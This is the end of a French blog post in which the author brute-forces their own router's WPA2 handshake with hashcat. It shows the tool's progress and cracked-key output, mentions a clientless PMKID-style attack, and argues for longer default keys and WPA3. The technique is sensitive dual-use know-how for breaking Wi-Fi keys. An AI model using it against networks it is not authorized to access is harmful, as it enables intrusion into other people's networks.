Guess.Queue......: 1/1 (100.00%)
Speed.#3.........:    97961 H/s (51.25ms) @ Accel:128 Loops:32 Thr:1024 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/4294967296 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/268435456 (0.00%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:1344-1376
Candidates.#3....: 12345678 -> 1F6E7312
Hardware.Mon.#3..: Temp: 58c Util:100% Core:1721MHz Mem:3504MHz Bus:16

Et là surprise, en maximum 12 heures de traitement je devrais être en mesure de découvrir la clé WIFI…mais au bout de deux heures finalement, j’ai déjà une réponse :

2c6956780e4b7b3cea00f6e7492eefaa:5454df9ea0d45:acafc943f271:BELLXXX:A2F7F579 <--- Voici notre clé !

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2

Bingo !

Conclusion

Voilà, je ne m’attendais pas à pouvoir obtenir et craquer ma clé WIFI aussi facilement 😉 Et oui, je n’ai pas voulu prendre de risques avec mes chers voisins ! J’ai laissé la clé WIFI initiale pour mes tests. Blague à part, il est grand temps que WPA3 remplace le vieillissant protocole WPA2, même si tout cela prendra des mois voire des années. Les constructeurs et fournisseurs vont certainement profiter de l’occasion pour forcer les utilisateurs à changer d’équipements, il y aura des périodes bugs etc…

Je n’ai ici montré qu’un seul moyen pour obtenir le sésame, d’autres méthodes sont apparues dont une récente qui ne nécessite même plus de capturer le Handshake, c’est une attaque « sans client ». Mais l’attaque par force brute du mot de passe est toujours nécessaire.

Bref, en attendant WPA3, ce serait bien que les fournisseurs et/ou constructeurs augmentent drastiquement le nombre de caractères de base… En effet, combien de personnes « lambda » changent cette clé à la réception de leur équipement ?…